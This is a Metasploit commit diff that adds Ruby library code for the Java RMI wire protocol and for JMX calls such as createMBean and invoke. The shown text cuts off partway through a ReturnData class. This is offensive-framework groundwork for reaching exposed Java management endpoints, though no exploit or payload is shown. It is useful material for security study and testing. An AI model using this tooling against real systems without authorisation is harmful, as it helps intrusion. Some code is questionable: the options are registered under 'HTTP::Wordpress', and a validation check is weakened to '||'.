Land #4560, Massive Java RMI update

bug/bundler_fix
sinn3r 2015-02-17 10:07:07 -06:00
commit 0597d2defb
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
56 changed files with 3778 additions and 198 deletions

Binary file not shown.

Binary file not shown.

View File

@ -75,6 +75,12 @@ require 'msf/http/jboss'
# Kerberos Support
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers
require 'msf/core/exploit_driver'

39
lib/msf/java/jmx.rb Normal file
View File

@ -0,0 +1,39 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Jmx
require 'msf/java/jmx/util'
require 'msf/java/jmx/discovery'
require 'msf/java/jmx/handshake'
require 'msf/java/jmx/mbean'
include Msf::Java::Jmx::Util
include Msf::Java::Jmx::Discovery
include Msf::Java::Jmx::Handshake
include Msf::Java::Jmx::Mbean
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
], HTTP::Wordpress
)
end
def jmx_role
datastore['JMX_ROLE']
end
def jmx_password
datastore['JMX_PASSWORD']
end
end
end
end

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle JMX end points discovery
module Discovery
# Builds a Rex::Java::Serialization::Model::Stream to discover
# an JMX RMI endpoint
#
# @return [Rex::Java::Serialization::Model::Stream]
def discovery_stream
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
block_data = Rex::Java::Serialization::Model::BlockData.new(
nil,
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
stream
end
end
end
end
end

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle a JMX handshake
module Handshake
# Builds a Rex::Java::Serialization::Model::Stream to make
# a JMX handshake with an endpoint
#
# @param id [String] The endpoint UnicastRef ObjId
# @return [Rex::Java::Serialization::Model::Stream]
def handshake_stream(obj_id)
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
if jmx_role
username = jmx_role
password = jmx_password || ''
stream.contents << auth_array_stream(username, password)
else
stream.contents << Rex::Java::Serialization::Model::NullReference.new
end
stream
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an authenticated handshake
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Rex::Java::Serialization::Model::NewArray]
def auth_array_stream(username, password)
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
auth_array
end
end
end
end
end

13
lib/msf/java/jmx/mbean.rb Normal file
View File

@ -0,0 +1,13 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
require 'msf/java/jmx/mbean/server_connection'
include Msf::Java::Jmx::Mbean::ServerConnection
end
end
end
end

View File

@ -0,0 +1,155 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
module Mbean
# This module provides methods which help to handle with MBean related calls.
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
# class
module ServerConnection
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the createMBean method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def create_mbean_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
# Java getObjectInstance method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :name the name of the MBean
# @return [Rex::Java::Serialization::Model::Stream]
def get_object_instance_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
name = opts[:name] || ''
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
# to the Java invoke method.
#
# @param opts [Hash{Symbol => String}]
# @option opts [String] :obj_id the jmx endpoint ObjId
# @option opts [String] :object the object whose method we want to call
# @option opts [String] :method the method name to invoke
# @option opts [String] :args the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_stream(opts = {})
obj_id = opts[:obj_id] || "\x00" * 22
object_name = opts[:object] || ''
method_name = opts[:method] || ''
arguments = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: 0xacf317f8060854e0, # serialVersionUID
values_type: 'byte',
values: invoke_arguments_stream(arguments).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47, # serialVersionUID
values_type: 'java.lang.String;',
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << block_data
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
stream.contents << marshall_object
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java invoke method method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def invoke_arguments_stream(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end

89
lib/msf/java/jmx/util.rb Normal file
View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Msf
module Java
module Jmx
# This module provides methods which help to handle data
# used by Java JMX
module Util
# Extracts a Rex::Java::Serialization::Model::NewObject from
# a Rex::Java::Serialization::Model::Stream
#
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
# @param id [Fixnum] the content position storing the object
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
def extract_object(stream, id)
new_object = nil
if stream.contents[id]
new_object = stream.contents[id]
else
return nil
end
unless new_object.class == Rex::Java::Serialization::Model::NewObject
return nil
end
new_object.class_desc.description.class_name.contents
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('n')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('N')[0]
int
end
# Extracts an UnicastRef (endpoint) information from an IO
#
# @param io [IO] the io to extract the int from
# @return [Hash, nil] the extracted int if success, nil otherwise
def extract_unicast_ref(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
id = io.read
{ address: address, port: port, id: id }
end
end
end
end
end

138
lib/msf/java/rmi/client.rb Normal file
View File

@ -0,0 +1,138 @@
# -*- coding: binary -*-
require 'rex/proto/rmi'
require 'rex/java/serialization'
require 'stringio'
module Msf
module Java
module Rmi
module Client
require 'msf/java/rmi/client/streams'
include Msf::Java::Rmi::Client::Streams
include Exploit::Remote::Tcp
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the target port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the RMI server peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Sends a RMI header stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_header
def send_header(opts = {})
nsock = opts[:sock] || sock
stream = build_header(opts)
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
end
# Sends a RMI CALL stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_call
def send_call(opts = {})
nsock = opts[:sock] || sock
stream = build_call(opts)
nsock.put(stream.encode)
end
# Sends a RMI DGCACK stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_dgc_ack
def send_dgc_ack(opts = {})
nsock = opts[:sock] || sock
stream = build_dgc_ack(opts)
nsock.put(stream.encode)
end
# Reads the Protocol Ack
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
def recv_protocol_ack(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
rescue ::RuntimeError
return nil
end
ack
end
# Reads a ReturnData message and returns the java serialized stream
# with the return data value.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Java::Serialization::Stream]
# @see Rex::Proto::Rmi::Model::ReturnData.decode
def recv_return(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
rescue ::RuntimeError
return nil
end
return_data.return_value
end
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [String]
def safe_get_once(nsock = sock)
data = ''
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
until res.nil? || res.length < 1448
data << res
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
end
data << res if res
data
end
end
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Rmi
module Client
module Streams
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
# @option opts [Fixnum] :message_id
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end
end

View File

@ -51,4 +51,5 @@ module Rex
end
end
require 'rex/java/serialization/model'
require 'rex/java/serialization/model'
require 'rex/java/serialization/builder'

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
# This class provides a builder to help in the construction of
# Java serialized contents.
class Builder
# Creates a Rex::Java::Serialization::Model::NewArray
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [String] :values_type
# @option opts [Array] :values
# @return [Rex::Java::Serialization::Model::NewArray]
# @see #new_class
def new_array(opts = {})
class_desc = opts[:description] || new_class(opts)
type = opts[:values_type] || ''
values = opts[:values] || []
array = Rex::Java::Serialization::Model::NewArray.new
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
array.array_description.description = class_desc
array.type = type
array.values = values
array
end
# Creates a Rex::Java::Serialization::Model::NewObject
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [Array] :data
# @return [Rex::Java::Serialization::Model::NewObject]
# @see #new_class
def new_object(opts = {})
class_desc = opts[:description] || new_class(opts)
data = opts[:data] || []
object = Rex::Java::Serialization::Model::NewObject.new
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
object.class_desc.description = class_desc
object.class_data = data
object
end
# Creates a Rex::Java::Serialization::Model::NewClassDesc
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [String] :name
# @option opts [Fixnum] :serial
# @option opts [Fixnum] :flags
# @option opts [Array] :fields
# @option opts [Array] :annotations
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
# @return [Rex::Java::Serialization::Model::NewClassDesc]
def new_class(opts = {})
class_name = opts[:name] || ''
serial_version = opts[:serial] || 0
flags = opts[:flags] || 2
fields = opts[:fields] || []
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new]
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
class_desc.serial_version = serial_version
class_desc.flags = flags
class_desc.fields = []
fields.each do |f|
field = Rex::Java::Serialization::Model::Field.new
field.type = f[0]
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
class_desc.fields << field
end
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc.class_annotation.contents = annotations
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
class_desc.super_class.description = super_class
class_desc
end
end
end
end
end

View File

@ -109,6 +109,11 @@ module Rex
desc = array_description.description
if desc.class == Reference
ref = desc.handle - BASE_WIRE_HANDLE
desc = stream.references[ref]
end
unless desc.class_name.contents[0] == '[' # Array
raise ::RuntimeError, 'Unsupported NewArray description'
end

View File

@ -66,9 +66,9 @@ module Rex
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
def encode
unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) &&
class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) &&
super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc)
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise ::RuntimeError, 'Filed to serialize NewClassDesc'
end
encoded = ''

View File

@ -95,8 +95,13 @@ module Rex
def decode_class_data(io, my_class_desc)
values = []
unless my_class_desc.super_class.description.kind_of?(NullReference)
values += decode_class_data(io, my_class_desc.super_class.description)
unless my_class_desc.super_class.description.class == NullReference
if my_class_desc.super_class.description.class == Reference
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
values += decode_class_data(io, stream.references[ref])
else
values += decode_class_data(io, my_class_desc.super_class.description)
end
end
values += decode_class_fields(io, my_class_desc)

View File

@ -6,6 +6,7 @@ require 'rex/proto/dcerpc'
require 'rex/proto/drda'
require 'rex/proto/iax2'
require 'rex/proto/kerberos'
require 'rex/proto/rmi'
module Rex
module Proto

7
lib/rex/proto/rmi.rb Normal file
View File

@ -0,0 +1,7 @@
# -*- coding: binary -*-
# JAVA RMI Wire protocol implementation
# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html
require 'rex/proto/rmi/model'

View File

@ -0,0 +1,31 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
SIGNATURE = 'JRMI'
STREAM_PROTOCOL = 0x4b
SINGLE_OP_PROTOCOL = 0x4c
MULTIPLEX_PROTOCOL = 0x4d
CALL_MESSAGE = 0x50
PING_MESSAGE = 0x52
DGC_ACK_MESSAGE = 0x54
PROTOCOL_ACK = 0x4e
PROTOCOL_NOT_SUPPORTED = 0x4f
RETURN_DATA = 0x51
PING_ACK = 0x53
end
end
end
end
require 'rex/proto/rmi/model/element'
require 'rex/proto/rmi/model/output_header'
require 'rex/proto/rmi/model/protocol_ack'
require 'rex/proto/rmi/model/continuation'
require 'rex/proto/rmi/model/call'
require 'rex/proto/rmi/model/return_data'
require 'rex/proto/rmi/model/dgc_ack'
require 'rex/proto/rmi/model/ping'
require 'rex/proto/rmi/model/ping_ack'

View File

@ -0,0 +1,60 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI call message
class Call < Element
# @!attribute message_id
# @return [Fixnum] the message id
attr_accessor :message_id
# @!attribute call_data
# @return [Rex::Java::Serialization::Model::Stream] the serialized call data
attr_accessor :call_data
private
# Reads the message id from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode the message id
def decode_message_id(io)
message_id = read_byte(io)
unless message_id == CALL_MESSAGE
raise ::RuntimeError, 'Failed to decode Call message id'
end
message_id
end
# Reads and deserializes the call data from the IO
#
# @param io [IO] the IO to read from
# @return [Rex::Java::Serialization::Model::Stream]
def decode_call_data(io)
call_data = Rex::Java::Serialization::Model::Stream.decode(io)
call_data
end
# Encodes the message_id field
#
# @return [String]
def encode_message_id
[message_id].pack('C')
end
# Encodes the address field
#
# @return [String]
def encode_call_data
call_data.encode
end
end
end
end
end
end

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI continuation stream
class Continuation < Element
# @!attribute length
# @return [Fixnum] the end point address length
attr_accessor :length
# @!attribute address
# @return [String] the end point address
attr_accessor :address
# @!attribute port
# @return [Fixnum] the end point port
attr_accessor :port
private
# Reads the end point identifier address length from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_length(io)
length = read_short(io)
length
end
# Reads the end point address from the IO
#
# @param io [IO] the IO to read from
# @return [String]
def decode_address(io)
version = read_string(io, length)
version
end
# Reads the end point port from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_port(io)
port = read_int(io)
port
end
# Encodes the length field
#
# @return [String]
def encode_length
[length].pack('n')
end
# Encodes the address field
#
# @return [String]
def encode_address
address
end
# Encodes the port field
#
# @return [String]
def encode_port
[port].pack('N')
end
end
end
end
end
end

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI DbgACK stream. It is an acknowledgement
# directed to a server's distributed garbage collector that indicates that remote objects
# in a return value from a server have been received by the client.
class DgcAck < Element
# @!attribute stream_id
# @return [Fixnum] the input stream id
attr_accessor :stream_id
# @!attribute unique_identifier
# @return [String] the unique identifier
attr_accessor :unique_identifier
private
# Reads the stream id from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == DGC_ACK_MESSAGE
raise ::RuntimeError, 'Failed to decode DgcAck stream id'
end
stream_id
end
# Reads the unique identifier from the IO
#
# @param io [IO] the IO to read from
# @return [String]
def decode_unique_identifier(io)
unique_identifier = read_string(io, 14)
unique_identifier
end
# Encodes the stream_id field
#
# @return [String]
def encode_stream_id
[stream_id].pack('C')
end
# Encodes the unique_identifier field
#
# @return [String]
def encode_unique_identifier
unique_identifier
end
end
end
end
end
end

View File

@ -0,0 +1,143 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
class Element
include Rex::Proto::Rmi::Model
def self.attr_accessor(*vars)
@attributes ||= []
@attributes.concat vars
super(*vars)
end
# Retrieves the element class fields
#
# @return [Array]
def self.attributes
@attributes
end
# Creates a Rex::Proto::Rmi::Model::Element with data from the IO.
#
# @param io [IO] the IO to read data from
# @return [Rex::Proto::Rmi::Model::Element]
def self.decode(io)
elem = self.new
elem.decode(io)
elem
end
def initialize(options = {})
self.class.attributes.each do |attr|
if options.has_key?(attr)
m = (attr.to_s + '=').to_sym
self.send(m, options[attr])
end
end
end
# Retrieves the element instance fields
#
# @return [Array]
def attributes
self.class.attributes
end
# Decodes the Rex::Proto::Rmi::Model::Element from the input.
#
# @raise [NoMethodError]
# @return [Rex::Proto::Rmi::Model::Element]
def decode(io)
self.class.attributes.each do |attr|
dec_method = ("decode_#{attr}").to_sym
decoded = self.send(dec_method, io)
assign_method = (attr.to_s + '=').to_sym
self.send(assign_method, decoded)
end
self
end
# Encodes the Rex::Proto::Rmi::Model::Element into an String.
#
# @raise [NoMethodError]
# @return [String]
def encode
encoded = ''
self.class.attributes.each do |attr|
m = ("encode_#{attr}").to_sym
encoded << self.send(m) if self.send(attr)
end
encoded
end
private
# Reads a byte from an IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if the byte can't be read from io
def read_byte(io)
raw = io.read(1)
raise ::RuntimeError, 'Failed to read byte' unless raw
raw.unpack('C')[0]
end
# Reads a two bytes short from an IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if the short can't be read from io
def read_short(io)
raw = io.read(2)
unless raw && raw.length == 2
raise ::RuntimeError, 'Failed to read short'
end
raw.unpack('n')[0]
end
# Reads a four bytes int from an IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if the int can't be read from io
def read_int(io)
raw = io.read(4)
unless raw && raw.length == 4
raise ::RuntimeError, 'Failed to read short'
end
raw.unpack('N')[0]
end
# Reads an string from an IO
#
# @param io [IO] the IO to read from
# @param length [Fixnum] the string length
# @return [String]
# @raise [RuntimeError] if the string can't be read from io
def read_string(io, length)
raw = io.read(length)
unless raw && raw.length == length
raise ::RuntimeError, 'Failed to read string'
end
raw
end
end
end
end
end
end

View File

@ -0,0 +1,86 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI output stream header
class OutputHeader < Element
# @!attribute signature
# @return [String] the Java RMI header signature
attr_accessor :signature
# @!attribute version
# @return [Fixnum] the Java RMI version
attr_accessor :version
# @!attribute protocol
# @return [Fixnum] the protocol where the the messages are wrapped within
attr_accessor :protocol
private
# Reads the signature from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode signature
def decode_signature(io)
signature = read_string(io, 4)
unless signature == SIGNATURE
raise ::RuntimeError, 'Failed to decode OutputHeader signature'
end
signature
end
# Reads the version from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_version(io)
version = read_short(io)
version
end
# Reads the protocol from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if fails to decode the protocol
def decode_protocol(io)
valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL]
protocol = read_byte(io)
unless valid_protocols.include?(protocol)
raise ::RuntimeError, 'Failed to decode OutputHeader protocol'
end
protocol
end
# Encodes the signature field
#
# @return [String]
def encode_signature
signature
end
# Encodes the version field
#
# @return [String]
def encode_version
[version].pack('n')
end
# Encodes the protocol field
#
# @return [String]
def encode_protocol
[protocol].pack('C')
end
end
end
end
end
end

View File

@ -0,0 +1,41 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI Ping stream. A Ping is a message for testing
# livereness of a remote virtual machine.
class Ping < Element
# @!attribute stream_id
# @return [Fixnum] the input stream id
attr_accessor :stream_id
private
# Reads the stream id from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == PING_MESSAGE
raise ::RuntimeError, 'Failed to decode Ping stream id'
end
stream_id
end
# Encodes the stream_id field
#
# @return [String]
def encode_stream_id
[stream_id].pack('C')
end
end
end
end
end
end

View File

@ -0,0 +1,41 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement
# for a Ping message.
class PingAck < Element
# @!attribute stream_id
# @return [Fixnum] the input stream id
attr_accessor :stream_id
private
# Reads the stream id from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == PING_ACK
raise ::RuntimeError, 'Failed to decode PingAck stream id'
end
stream_id
end
# Encodes the stream_id field
#
# @return [String]
def encode_stream_id
[stream_id].pack('C')
end
end
end
end
end
end

View File

@ -0,0 +1,100 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI protocol ack input stream
class ProtocolAck < Element
# @!attribute stream_id
# @return [Fixnum] the input stream id
attr_accessor :stream_id
# @!attribute length
# @return [Fixnum] the end point address length
attr_accessor :length
# @!attribute address
# @return [String] the end point address
attr_accessor :address
# @!attribute port
# @return [Fixnum] the end point port
attr_accessor :port
private
# Reads the stream id from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == PROTOCOL_ACK
raise ::RuntimeError, 'Failed to decode ProtocolAck stream id'
end
stream_id
end
# Reads the end point identifier address length from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_length(io)
length = read_short(io)
length
end
# Reads the end point address from the IO
#
# @param io [IO] the IO to read from
# @return [String]
def decode_address(io)
version = read_string(io, length)
version
end
# Reads the end point port from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_port(io)
port = read_int(io)
port
end
# Encodes the stream_id field
#
# @return [String]
def encode_stream_id
[stream_id].pack('C')
end
# Encodes the length field
#
# @return [String]
def encode_length
[length].pack('n')
end
# Encodes the address field
#
# @return [String]
def encode_address
address
end
# Encodes the port field
#
# @return [String]
def encode_port
[port].pack('N')
end
end
end
end
end
end

View File

@ -0,0 +1,60 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI return data stream
class ReturnData < Element
# @!attribute stream_id
# @return [Fixnum] the stream id
attr_accessor :stream_id
# @!attribute return value
# @return [Rex::Java::Serialization::Model::Stream] the serialized return data
attr_accessor :return_value
private
# Reads the stream id from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode the stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == RETURN_DATA
raise ::RuntimeError, 'Failed to decode ReturnData stream id'
end
